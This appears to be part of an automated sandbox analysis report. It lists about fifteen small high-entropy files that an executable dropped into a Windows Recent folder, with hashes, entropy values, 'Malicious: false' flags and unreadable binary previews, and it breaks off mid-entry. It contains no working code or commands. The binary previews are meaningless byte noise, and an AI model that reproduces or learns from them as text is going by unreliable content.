SHA-512:	EE309E35E627DA456ED131A6D17B73CF90691A85417B796B822F4066469201B7A471BA6D7C3903457265E7C21B2FE6F56BF3181B470EF699B5C8D88D839D6928
Malicious:	false
Preview:	KZWFNs..t]..f...a.....C..f.......0^5p..H..X.J74);.V.2...3'......\|k...C.:.]n.D.WqD....b..~^..B...'.]..s..[..N0<..J....1...;.V...t..N.l.\.Z.m.......kG\|.y..,...,.2..q.j...P.V#E..W....z. .O8n..=L.=.Hf...&....j...k.\:D..v...&=...Z...l.=......g..%B.9ww.S.O.m...O.y.z.{1...e...}..i.Q.....H..39..&Qdw.....O..K.\H.p.X#qSB..b.(.c...M".B(U......G. .k.....a3^..............j.:Fi.....r....5.pl....;E...[.>4y..n.%:c5/...%...s.....E..fV.l"t.....s.A..Y..?9y.,...p..f.D...B!%\m...)\/.....&..3..!..X..a.....j-...$...[.?....^.@<.m..FN...."..u...hk.t...Hk.....O...T..u.,...<5....@.e...Gs,9.bCk..D.)...}.......Y'uc...!..h.....n..t../..?.d...4............U<.!.l..~[.....^.2...W@..=a......._.25.X. .:.2...gx...].h....b4..!.M.[Y....H.......J[h>.....&McC.<.{...'...m...;..rf":...XQB.........&j). .1.5....B....3<u......t)z...z.k.QEZ#.%...et...3*Jd....+.....P...l.l.I.G".6..4..a.?I.....y..HFF...Nu=..Z.W..'..IA...d-.i.-.?...1..$.3..\|]..x.o....?N...(.Ja.Uj.iC.c..d....1.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835345517388859
Encrypted:	false
SSDEEP:	24:dlcMJUOILrca4savq1PmmT625XHOLzSqf8w0XL1M3747nENU0zMG1VEBNAPh5qFX:vI/ca5x1B5XuP38/16zMG1A5D
MD5:	36819736CC50575D9E57E94F2CAD187A
SHA1:	586E8AF1810705C07AC78CF35CABB737518E38D8
SHA-256:	5951AC4041D652AD437AB7866DFE9B54B4F4BCD2A31D0C8719AF9AD5498BA3A3
SHA-512:	1CA9DB3538A48E72AD2179B6580653FD893182DBAC4684F5D24715D811C0AA079469A8C87DE079757B62EA194C3F831DC95BF67BC4B3A0C46A4B3900D27507F0
Malicious:	false
Preview:	KZWFN...q..^.<.c...].....u..<cE...7&.l..70..uP.#..f..1..."...C.[....3.......}h..[E..@}ze.x...n/..-j...q6..r.8......v0.......L. ..ty^H.q.f.\|. [$a..s.F..}F..)/._.<./...a.?.9...o.6+.JqH.n2..yq^...."S.s..Qvf.Gr.....,.&P...$U.GI.w.........Ufb..d`.uF00`.......?.c...Z..{..P.Dr..x....f.1o%.w.....(..........\hqUe..p..D.4...+...X.....}.9.bv....`.....>.J.x.d.l..........O....(.~......W.C..e"...t.]./H'B...g...r@...........(.....s.q..X.O.Q.....,?+.E..e......q1&.>D/....%..~g..................D.A.r....x..ol>..MA....:..s...D.....t..;.KB...C..?$+.w...Dq.m.n...\.-Z.....0...Q....................<.+..(..H.F..Tu...<tv.y...t.\|A.#[R..q.].h.........@..87Eu...`)7......:.....U.....1... U.q.'.cY.Y..DfW.V.@H.o.....F.5........S...=3..T....r..n<\|)..].Q.[ce....@S...P.THF...=.....Ih0.T.`.....,PnR..z.......=...:6....t...X\.gZf..E2V.V..G>...B.....0....s....;`,.g..'...d.....9.R]H....k.x.]Mz?{.J..{.E.......c.p.F.r.rgU...\..>.i.!...B...d..9T.../..C...}.A[...p. &9..2......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873877024111321
Encrypted:	false
SSDEEP:	24:aIB/fY5O5IBCEek59rTHw9y0dclvS/QFGH8y6MWAqQbD:hB/fJm/GelvhGH8y6M1D
MD5:	3D3D41F70DA1B1722F7B8E2474F9E286
SHA1:	329D0023FE427696084E4CBDF87D67B50B947ED9
SHA-256:	6C9D4E117F2289D92BF49C9C9BFD97517D33E0C159136746296D6746754D74AE
SHA-512:	00FDBB66B2A43EB5B9496A31F31930CEECF7184FBA897ABA8FD651070EEA06EB482F2359873FA8AA6F997527E04CB6D610A2A56CDC323B207EAD89072B033E01
Malicious:	false
Preview:	KZWFNT....R.!8..9K.;K......?..y./..+?....Q...9...M.+i.....n3.......}.+#..{;..MHUR..V.....=Y)..j.=.J...!.h...6)Z.mo.#bS.i.3._I...yFQ?Ii.S...T4.hz.CP.$w,E..)i....EG..3.Y.{..24..:{s.T.;.......=D.(.O%........x...h.Y.......H.........#.I...1....#.!.Q.4.<...u..Ae..T.......(K.(?N./.@..%..H&..>gc....l1.F.+L.+.......2..x&.}de......u.v....B.P.u.Vai..`.....[.^o..!...C$..4.a#../.~L%-E..C......F4.c.Ou....AzS.(.w.n..~..+i..J..-.pq0.....:s..n....g-:..8g.3.!.N....A.t..^v.......'t....5...}..V.p.G...oR(.B.(....e.>.0.)u.....J.7...............6.3....A..$].;....IC....xi.Y.....}A2..%G.......)p;2..yLq..;^e...Yk......J#.. ..A..D.,..F................T....K..?w.....oA..TULz....k.@34.....D.G.m...p.f.b@8.\|...}.......a..'..2XNB.%.i.......k,.k.B..2K.....P'..~x.Rr...j..6".2).5.%..." .r.....k..4.F..!.{..._k.^......Q..5...[....)..k.4....(.q.'......NV..._.-p..a.....G...v..I.`.s.........N.G...M...;...U$J.IX9..bL.!v.."..<\|...Pr=.H5....:Pu]em.(.....9bPnU.5..W3/..\|

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831519127878997
Encrypted:	false
SSDEEP:	24:l62kf7fKOBd5KpTQEJrovLvea/DYXjqz+ZSO2GZYLekDP5nDGbD:IBf7SR9/uDeaMTqz+X2GZCee+D
MD5:	543F78ABCC33E3CAB180D07F201DC522
SHA1:	4CDB9463BC2B6254DF7474429A0D4E6CF539327F
SHA-256:	2E43006A2655B06FAC5ABFC4597F7D5127C018CD5F66D0DF3E559F566E325F1A
SHA-512:	58334D14D46524246C58DC87E8733440CA96B8BA22B4065ADB6C428E541D5A83B0E135C091630AD975A4FB82405D031D553D649913B729EF682E238AE0EAE19C
Malicious:	false
Preview:	LTKMY.z..H....;.y.T..C...\....e4y...9\}E...u6\|L.1....2.....U..X.....H.O..m...&../..........j[...G=...\|.}.I.}....Q...d.._.).O...A...5.h........>.u..DZp..U..+..A...Q...)...n..\|`.~..V..2..y..j...!7.."...v.+Us...L...W].'Ip.m...-u.S...ms~..zn..9-.._..!.Q.F\..N ..8.9../.`.H.D{....6.3k.3X.._.j.g....R.=l.............P.....3..J.:..nE....T..C..K..h.]Ghd...T.J...!(K.....g...8..51.k.U..\|9v.F....0b...v.L)M.... _.G.....z.^.fu...`o.4..:~q.s4.?.;..H.j.z{(.e.{.g........c....!.g..B..g.-.:....X...).K.....8UUcuUyF!.....Y..\.0...........-...U..........O..WO.(.?_..FZ'd.G~..sas....?.4T.`..p.......Y.G..[...28.....%X.........?.3...d.....+s...5.....)dZF.p...o.Z.Z..\|.UO...OWH..?q..h.6A.q.....{..SZ:. .7.%2.I......L.....T...%.C...Z.2...L.C....m...[......F.{{I.Pw.....I\.5.IP.!"....97G...c...[C&(.....U~.$t..r.L.\|...'....H.,......{G;\|....V.6..{i..U...ih@.........g.[{`...-9.!..]9....E.......*...6UB.1\..8..n..L...F."......m4J.C..._..9B...w.\|.....<f{..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845319051900881
Encrypted:	false
SSDEEP:	24:KgY8jFa8dkoU3CAj16AlXgm6xBNjAURBCS0Emq4SIPTuqlFQls9ZM4yvEIbD:KgnaNjyBNjAW2PTuqTQs9a3vJD
MD5:	4C2B330755FA3743149AAD5982BFA1F9
SHA1:	8FF291586B5D9752E480B7645D582590749F9D3B
SHA-256:	9813AED5B18F2A2AD112DB64905D71E1ABDDA54403DD4AE16D0DF08B9965DFC8
SHA-512:	EAD7ED5B7238B09EA5707AE0EEC5A8E1B25C2E385D600A281B7B19F565BCF1807F702DFD54C6BEAD8B1EDA0B5E35C0280400DF1E18B151F7758AAF8896348C6F
Malicious:	false
Preview:	LTKMY.5..+....,..BX!Va...-`.K! ^q..[...-.u...FqQJ"%.m..i..{.......K=tt8..8...W.../..T........w..Z.'7.C....3...d3....<..R..<....<..^....Z.... i.PD..e...I.....z[....1n....vj.M.^2.ebs..VNO...pl..{i..~.I.......@ ...V......w.^.g..:A4e\|......T.M.(...z.....fw..I..!......\|.]L.$'..>..w8...v....cQ,..{..!..+..u..Q....O.H.....ZH.=.R.t@..F.bl..X........q.....m..(g.......%.h.21:{.. $%....W..=.s.....ByCC:`.....$.s..Gj).qF.c(....Z5o....?.=..u.e.S{u1....~............W0u.[.F....._q.=.Ck.......b....<."&c.5...c.$]CbY....T.C.......Y...E.i...t8.>.XP.A..9kk^Hn.t)...?.6.........Q.......Q8.R..7w]..N........]..X...G_.J#.oRpCMUmq.I.it.P3m..5f..W../o{9......q.[.]..:ar...,..^.b..=:'#..w...g...GC....!J... .......7J5...D.~..v..P..dN.P...P.}0.M.M.&.:.....^.T...d..... .n...{R.f....=m.7...f@..Q...1..aL.7X.z....78.yu.R{.P.a...".t.P"s.\....z...2^OW&..q.&.@6sA.......E.) .Q.Aw.0.i2..zs...b.....Q........}...D...D.=X..".....?...../.F.\..0...U.......2.....nh.ft.o.;....8}.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MVLAMAIDGQ.jpg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840367292967471
Encrypted:	false
SSDEEP:	24:9wWnPLtZGpoA+sRisqIE6Wdy7v1/X0VEryABUqblrIrUK+txaTOdbD:xP/GWxC5s2kQKWxaadD
MD5:	1CE251BE2D9D030F2772B6A24EE34B00
SHA1:	C893B2AC90D820D1B4C7B03940D66A2365175F98
SHA-256:	0968529E4CAA4DF9CFAEE534B73239B9C367CBCF90474DBAA24F946D75FBD82E
SHA-512:	6BE8AA0FDB7C7F043C8001598177AE159D83C8697B324259025F2F419E43FE175955393A225A72C78A8D9376A89F088761BE9C71844CA0B4ACD379CA994C3FBC
Malicious:	false
Preview:	MVLAMT{o7....lS.;p..`..5..".Q#<.b=..b....HC.........d.6#Nd.]..),K4.D#f.u.'5n...3......O.3.......;.I...57....T........E...~.T...0\...}.yl,.}B...Q.4f...x.+.D.7...#..3..H>Pa>...:.W....No..{.n..\.].69=.......,.3,.o...V.k@...zE.6...m6..Ohm..2.b.UVD9..$..i......>!..mBz..R..4;aG[Q.....j..x..aQ.6....4l....g...G..c..K.{Y..\z.O\.u..%.....r]...c....\|..I..X2..V;.80n0c]......_.v..U......'..kD...<.B.~0#.P.....t.....Wt..N.gP:l=...`..e&o.+J...g.....q6>.ES.\|DB.{M..9..[K.t.......y.x&K...`ZU.o..b..0.v.<.....B.J.n.#.L[..P...k..Zg}(pAS..%...E.2k8..yf..........1Z..Nq...c.....%.g..n..H...z....6l....].$.....#..J..e.Qx...*.z.M:...S.8.$.r..75gt..@.-W......>......../..A..q.b..>.I./....B6.;..jLM......K...U1.QiS..>.D..9....=.@....v...jP.j..........;.N.9...Z.4Ue..k.!..5.5].XY..G..-...\..'i%..(....1....oA..`..._]...k.....b...k.1.xl8..c...O.....:w......2..l.j1@._..U2..........j..K.Ds..J. ._.. .=.7...p..N.LZ...bU;...k...J..M..6{.....)...:.Z..E...~0CSP...WK.H[..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862818158191942
Encrypted:	false
SSDEEP:	24:QJoEvkmXE8jeFixoniK5C8EI+EmCpzUYBoG9fNYWCHyqPl1nAERO7VS10RibD:coWkmXPiyonjwjEkYO8fuxVkU0RwD
MD5:	45AE71BF96278C93AFE3B0338F619556
SHA1:	66F4E1FC18213ABFDFCF3E62631183F6ED2C8052
SHA-256:	4F335ABEA297B698ECF6BA410FBF9741D82C44291BC5EE2D6D7215CADE59718F
SHA-512:	3C524C9A1FBFB714DEABEA9A7FD28554A3E4159DAA7B3AAEDB526E8179F5F0ADCF4243051201D6D2FB2530D32F0B9777AA6869A990701CBA6CA98D63F2667DCF
Malicious:	false
Preview:	NIKHQ..c./.....l....c..)..Q.~..J...t.>.6.+..w8Bl.........3.,.<....!..0}.#...*....r......(...T..y.P{o.\|..6...^{.S[U...F..J.{..=........=..H..g.i.>.$..x..m.QxO..'R..:..C.<..2.. .)rs.7...%..Cw......2fZMp"S.L... a.3\|Ojt.......l............\|.;I..vx....&.3....sZNs.>c......Z.m....,n..B.. ~l.^.xn.d..{{..R........j.......u...!.....Z0...$.. ...m...F.......7.o.d..[.....d...g..A..x..z.Q?`.#&)H........a.../Q...:......m-9$w.\g...6m...n..c=2...=M..).`.PE..j.[..c.......o..........~G7...K.......G...z..."B.F%.Nt....O.0...T$..X.'z....././U..(O.......>.8..S/..._.....@<..HIZA......OK...-.7..J.....w.C.t....\.t.C.[.q.p.e.k.xe&{...Z.&.5...oQ....V^...g;...<;Z4..E..&.H....tT7....8A\.....5.Y...k>...3iF.@u.S(.......C..d0.....p..0:..9...g...`...Gs.t......J.......Z.....t.~i..go"....yjG2<.H.e.0cv.n?..k.q...cj.0.....#NR..-...HP.yGxW...&.:....E...g.a......@n.....?.A.,..%..A(;.ly..(....p...l...e8V:Y.(w. .H.[b9W...N........Fr..jg..Q....X.U1.VF...B...0:....S".(.X..".

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.docx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862372420518601
Encrypted:	false
SSDEEP:	24:MHXxRMeiSdOrt8J8eD/hQNh8t+LgbtE9QEnYGe70tdwIpyReWGL5HBQr8ClqGCbD:qXxRjRJegGNjgm9RYOtFyR5GLUr3xQD
MD5:	BF8C6B03F57D072C884AAA163F15FA05
SHA1:	C8CFECC88883B18DCA0CF06A77B5BAF7250360D7
SHA-256:	3F89C4A2270B9F7DCD370E02455919150E338D43B77272E50EFFA8E2FBF4D9CB
SHA-512:	5F8706B68F7C6AD910139FCC1603A367087F8ACECBD6B0D707444B9B6FF7F9AE092221C6E155D2B1FBDC74C15FC88513462D3FE0A047E1FC5E05DB089903580C
Malicious:	false
Preview:	NWTVC..S.J.B../...g......n6..T.Y...Q....&AU.y.v?g.9M.....>...:....!..\..'+@.W..^m.`..O.....9......P..........4.....U.L.x.......e.....2.O6.!......ZY.^..=o.mF.........&.y..E"../d2.....X.....c7+n;.L....W.rL...L....n...zK1..N.6.2..<1..=.G]IR5..O.v....5.B_..7.w..!......ndx...n.x...1Ex....j.\|EoW>..~^...8.@tK. ..i..mG%#N\|...n..F...A.1J.R.Q..........@u.Bwn...n<..c.!.e\...o....{)aL.^&......._....'..u.x....g5..y.S.J/......\..Tp.X%.Ra..Z5.z...zKW&..f.U.#.. 3.d.A.#.?.x.=.tl....oy.........u.............$....1(.Ao.h3.q..(.....h.\|..vz.......%....%c.\3.b..j.R..`A.......e..>..F.....n`}.. ....=..Ii.&.{Q.1..@....j,0.Ri...S&.....b....56.\|l...?........7....8...`.....R.3...j.=z.R9...1-.M....!.F7.E.5C...U.....GQX.....-v....R.......@..z..a_.. t..s3F./#T.i..^.2........QQ....k.,E..bp....m.E..I.i.7........./..} .ItBtb;...E..V0..2.$...5...d.../...!.t.!4...,....3....z.Dk..!..>...UW..&.v..@.L.2z......<\.......2..w.K..X............Y.'A...B`..s.^y.V.@...:.R..d.x[

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845468989423264
Encrypted:	false
SSDEEP:	24:/okAG4oDC38VDdsEYeUCGTkvFaEag2jhCplleKSenbD:/oPGK4e0UClh+s3eKSWD
MD5:	2A10D998D9A394A5C187D4B100007347
SHA1:	012E92146B4E4BA997A7F9CBADBAEBFA0ED977B1
SHA-256:	C8F12142D84F44CD4F6E50C2048FBF72C0EA8EC4D33D126B8D57D5BC704A54BD
SHA-512:	D3419D259317AA9854E576CE8E07F05C25C6C9D2DB67539A1D0FD2B3149B8AC3A67F3DDDB161224C8895342F05621092611D3484AFBF93466739F3DEBADA5264
Malicious:	false
Preview:	NWTVCj5.S.crUi.nv.&y...U}.813.....^...+9.....F5.r....S...F...j.".s...:.M..y.4.MH...Ef...."k....._,h..j...s..0.a..xi.....9N..`.......6.=.S....u$..<.:.P...q...@.YuQ.[..I...R.Hf.\|....!..U...Y...6A!.Zc.}.......~..t...P.z.n.FX.u..&...$.F:".wM....5".Q.....L."]E.Gf...W.k.p.;<.j...7...Z$.y.\nV[..Z.J.i89}@...Pv..?.K...\.a.#.D...G.Tn.+d.'.9.A.d...m.#[....&7. ....w{..xq.&..;.Rd....h....L........^?...M....1......;`..j..6.h..s....>^.(... ..N&....#%... ..2...T..".=..h..gdt..Cb.....E.u.l...@.=..F...,.1..g........E..m,.=Gm.y=.x.(b\|.z$.0!>.,...-...f7!.EH._>X../..xYJ.....PrN.(......a.i...;1P...7C~`.oa}GHu..z ^.....i....6....;...r...T...k...-BT.,..hy..x.c....u..um..T3.To:.o.O..E.$/.6....z...j..Gm.J.d...U.y.!..g{........Ggb..v.U............c.\...R."...i.'..yR.s^.A......>&V,A..G.....YS...D.j..8.GWd\|....v.gDE..+I..9.%t.e.E. P....x`T...b.o.D.#.S...S...~..FR....1.s.."4wd......?..f.Y...:..+..o.....r.C ...vM.%.J+.....! ....5...8..H...0r.....P.g...[.....p...~X

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821347638299435
Encrypted:	false
SSDEEP:	24:fv5l3GBPvvxWXoYfTwxf8+QeGXNgH+jrd0VHE5Bn3qaEjVLxAsI3bD:frcnvxgP0hOZ6HErde8ZaaW3CD
MD5:	FE61E4B80610AAEFF84F3E620A21E30E
SHA1:	624A03EB3C9758AEF4847759CB161263CB1E3EDE
SHA-256:	269D417E407582F8A294DD09EA558FC1C80DE4D83DEFA4C140F8CDEF4455A86B
SHA-512:	9A2D3717732DBCAA19902ED2C58D47A77DCF9968A2519C24C342785300C1D579814B04B99E73D66F20422353F3F66FC5982EF0738CE421B364E5DC49D5B3B70B
Malicious:	false
Preview:	ONBQC.:j.q...R..%x.}4.....!..D.M.X...f.v....9..._.X...T...@..~,...:..Y.0....\|4.~\|......g].d......Wd....>.(..aDJ.......-]....al......x...,.W.=....7....../(......j.&M/Z`F.;..a.h....\|I....t.A...+r...u.}d7:...7.[C.>.};.....%.....%T;C.M...5W..R.9mQ...5-.L..]....ja&....m..Q.5X.._e5Ni ....._.V.........&...h,.4............q.!......t.......KW....R.I.\|.7Q...\_g..B.V.....P7..3...u+."c)D......V..euF.6......Q.....ZH..s\|..O@f.......3D..%..AC2O...!;..3d..$.fCW...C..>Y8].>l......9).fLbR....X+.\|...>.'.6.F.N.:....!......U`/........2m.~.r.+....c..aM{....l..<...9.n.f.4.h.sS..c}}..]yg.x..C.'..2,...q.......o..2o.G$6..!h.F'..7&K."...5'..j.k..3(..N.+......c_e.!.zi.N.R~1....GV...{.. ...r>6jn.V......-o..../..X....*.!..\|....k....5..M.....T.........%.=..dH....k.....kQs.#.L..[...>.Z.q9.V;.A.!:.l......G...x$f..@.8..M~.....Tw...K..#oK...t0`.....D..O1!.../[W......>-.....]\{.@..qh~... .........>ag....[ e......],..w.wo.....K..{...i......:...@G..1.....j..Z.^...u;.$-..9.]mL..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842912039930012
Encrypted:	false
SSDEEP:	24:S6SRzr98G/6hrGdm/KvwTf+dXoRyjKAwN1b62wCsm3bHHZHiP/eNx5cBdZWllbD:lStUh6Yeq+to6e1b643bn5iP/eD2ZK1D
MD5:	F96F6D9667C797C9BFE3C62C5873B9AC
SHA1:	8EB5BEF249A32B211BE9E48DB30489BEA7DB13A2
SHA-256:	6412E4C5544CB3F488D6BE5410F34936A38961DE625D4BAD89E42D7EFB674D3D
SHA-512:	7517438ED95EF8406AF8260EF27F7801ACFA6F4EB1626D07CF28D5B810C334D5DDC72C7E6DD6FD5D152D3F5C43822CBF89C5CC157511F60F6037C69B9E666BB6
Malicious:	false
Preview:	ONBQC...-~.R<o.N...I.l2.~.^..h....h.O!2.....SU..B.6C].nE.._....c".d.....z.....b..B5a.B'^T_.yl..UC..&MQ:e.7.'SOmJ[...%...qu.{2.+....m..p.o........:.."...,.>..5.b6p.{..DA.sH^&..."X.......U-.\.L....Y..m.z>.q..k.9...[...n....o...0.2...=3..Y.._...w.......N.d..\.....{l.~.J0k..L.+!.>b>...r....Q...}...!(....@.P>.^b.[%F.CP5qI........I..6Si..vyW........{.-.M.M...0......_....6.....W.).r.W.......b.#{A2..d%[.3...I.......}.R...)...mS..`2J..[.krg.J.N_....9.....$o..]...W....x.....Un.........U........s.....8t..R.....QC.GE.>...,......cS....5p)..w.c^...;....."^N.l..St@./..~..{..n..}g..<.^$.9...."@.z..K,...."4=...$+Ay>]$,.a......Zrd.=.....{..0J.#7..kK]&0..._"..1.iB%.Xr}....v.....L2s.zN..7.mTz....5=....p. {4g.Y.V.~..#..o.A.}....k...1..`.^...)'.f.FS/.f.....0..C.}E...L,3=.K....z5V.:.(......G..^.>U.i.{m'.t= $k..vK~.:..Y...U.).)".I.+.N.._._.p..".b.xp........2.......@..jp.0..Lz{..Us.LJ..*...V!...'..m.WV..du.U..b.gzg..:.)^..R?..M...W...T.G;.m...O...S9.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.docx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82138590012865
Encrypted:	false
SSDEEP:	24:XNU/w3ErhkzFqxrqbrQEyw/iD5O/zYjmewm+PBR7k57ES8sj3DkSDObD:dU/w30UbxfqyYKm+pJkVES8W3QfD
MD5:	E40165A87250328D210E348E518D1737
SHA1:	8EB81AB771A6280D280A9E225738B037DBAF199A
SHA-256:	490BB6F1BCB173BE88D78E43B97BF512D9E0497A6297B79D11B494EF12201886
SHA-512:	B8C3C6E5ECCAC419E0B4986C0926236796F1DE9C88BE0453A4A671EA2074EC2B823524DF2B82F0A27EEE436657EB331F1DC0905C3D51AF6CEE1D4FF5781E3133
Malicious:	false
Preview:	PIVFA..!..Q.....c@..NM..#._zU.F6.%qk...fOb..7.(.tW...V...h{...f. -.F.H..-.....H..D...7D[E..[.Xj.3..QB\.......)-.t.0...{...L.m.....f}Fz...B...`)5.N....?.{).!GQ.../'..y....'.......fuZ...i..p.D...)W.7....pp.......\.......!...........Q..v..;![.\.,.4v..O.........zn=/..v8.Zp....._.S.P!"O.^....F((9....I"...r...x...$.e...E=.....+!....w<B'.#.F.U..a.4...*p.:?_I...&....,.<.2..T..-.`...d....n.d..g...O.......}......#..Me..{......{...jS...<=m.&gw.'V..{1.-.....Ql....m9.x.Z7}9_...4$.:.?.mQ..>EG.....V...D..k.../.QF.....H.'I.._....2....n.C..E..t.xa.&..f[_M~,.c9..a..U.nz.hh...{...Z.l.9o...W..1..'..@.75.'.Jqu..H..0.O......z\|.)z..w1.D.8..B..s.1#.e....`...n.[\.d......#\L.!.....nKL.......H>.E..F[7C..%#UF.].r..g;"$.d....3/%.@..X...o.....J.xt0Z.aL..BOh....+,.[...4C.O.5L...j....)...j.FF.O..8..>^'.S?.c....l5.......Bx......V,pL.x....5b;N\|Mo".....q..&...F%.S..F\^....r.dp..~....%sI..llP.^.&e)...7a.!~.5..c...B.<..P.]..V...O.....X....@V.>D.....y.....]..)...W...=....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.jpg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8712149527523705
Encrypted:	false
SSDEEP:	24:L/0GWUNtL40MCqCbDfO1oFOK5o7cSGKYGseyKZrQZ7GvbD:oUNt80PqCbiDKmGKYGtyKgyzD
MD5:	DCB4C8C4256777B8E5A2C2D550A3E77C
SHA1:	E04F8FC0850D4750FB48ED29B77996757325CB5F
SHA-256:	7ECAD2E8C6630C87033E3B152E2D49F1F4B8078FC76CE6998E99F8E81FF08068
SHA-512:	AB5CA49B6C76EA343EB6ED5885367EED4EF858AC7927F813EA405C7D25FF8CDFB7696B9FEE720E2C87E7579F3D4E7069DBAEFA7D659E42AC2EADABDE7E5594A4
Malicious:	false
Preview:	PIVFA..@...an..%...f.a.82X.}R....>....g.NB..km...a.Z.\|#..q...x.R.(......U..;.{.....xv.r.nF-..t.p..z:#.O...s......:..M.~7..t5(.<....5{...=S8. .O...:i0.v.:.....]..........h.D%..(e.wR:..6....t%.`....+x..f....]..s.^...D.<...O[F.)..~..].\....(.5.~y..u....u...V.;..*u...P6m..A.g.0.?..o,%A....c..Z...........H....'.....y...O.......YK.....^...(...~&.LS.7.'..HZ..h.d..)k).B.>y......1r.n;...9a.%..!..^f..7.7Q.p..z..9......S.})X........B:p...J...].W...2.{.L......5.q.H{,xR.......}..v\|..x.....K..........u>.~....`..#....S..WK.).P..=.....lh...%b...5.qW...x.sT\|aF.}IZl../.P0.Y.0..X.$]S..p.@..v.).T..S...t..We..E.-&...o.%9..3l..8.....[w.{F...9.zl..D...5.>...y....">2...!a..@.gL.Y\..h...&]y...D$..9E......X.$...7.j....w,....bah>!.....5).-.............e..f,.Nso..Y........)..i8.6.tW%7.8.....}...J...'...".....:.@....@.$;.V...?.bUl....r.....+0..N5Q%...J....L..r..<...:.2U...........]UBw..>.h~f&....B..>.......`.8...$......_Tz.t..)..;Q}G..R.....Mp/3r...8C.c...\.t...!....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.xlsx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83266948412714
Encrypted:	false
SSDEEP:	24:7btH5qAhLNwJJgcj1DqRaFwUAHqv4kHnozuDCNM/RD2cs81XxZRbD:7JH0AhSJJgcRDqRIw9HqvLnEfNEScs87
MD5:	CFBE0C4E5E4A359479582F1AE0C39370
SHA1:	F85D9B28141C5556E6CA87BE91A0E4C56E0FA821
SHA-256:	94CA5C2F5A500E455FBAD8841E5CD9FDE2F3994F34A18C531E4DF23681B12F94
SHA-512:	65B9FB602DF2442CFE3192684C7A078F8D372FCB0181F77EBC5044AC6AE05F80FC26DF94B0BD3CF68A4336ED850222D68972E048D2E4750CB9D89E841426B427
Malicious:	false
Preview:	PIVFA..l..Y....r..XC..]......2.R.%.0..A..d3..h@z}/J....v...z....`..i..8.T.R..o.<6>P....?.......i..T.........S......O........{x....h.3L=.K_fIv..UUhOa.\|....q.3!..OOl.2'tb=.)+.6..\|....\adf3\|Cg.t".5.0.........,."Z....4b...........'....M..d.S.+..z]C..c...O.k .....F^..u.u:E......G.F..F.7.....e.z.0.....wT..k.D..[.W...T.<p>...[~=vkB....A.....8...y..%....CN...z......D6..9......4...}^..........A<F./..?.=.......!...#.........5R....b...g...M$.M/7U.Qs.........Zd.......7..^.t...{..S].TXo..[.....N....w..{CA...n....ni...16...zEBG..E.l...>#.i&...T#'.7..<..i.D....J$s...(...%Z.P...aq.ad9.K.{.....L...i.L...{.K.H.x."..;.M'...S<w.`/m0X...2.C..s...1.!.{....r*F..a<...s./.s....o....TP;.4.o:._.....(k+.r..K..}K..6....6....,.B.`.!Uw..........\X....=.UDrg.~.....N...P..(.Z..._"..d.gd...I.^[.."..0..w....U.#..U.._......E.?6'....F.R%.E..;.lA...[....+k<..Z.......5....Q.xt.P.(...\|.W...2...c...y.Zm......,..=f}....@Lw..S..Q!n..G..C.....Z{V<.x-q..?.)y@........./:

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.mp3

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858559673122311
Encrypted:	false
SSDEEP:	24:9RxI8Rr7r50GnHa0VkoDnV+FiI0Q8pLEsBIQsxerDnecfm4JdebD:BXrh/a6ko7V+FiI0Q4wlQgeHu40D
MD5:	BEDCBE2090A96856D56FA05581485518
SHA1:	618C1B436C79DEAF0B8F210D7830B2870BB6EF60
SHA-256:	69ED770B85A13313F73BBC12691FF1024B6DD9A381675BC6995B280EE18925D2
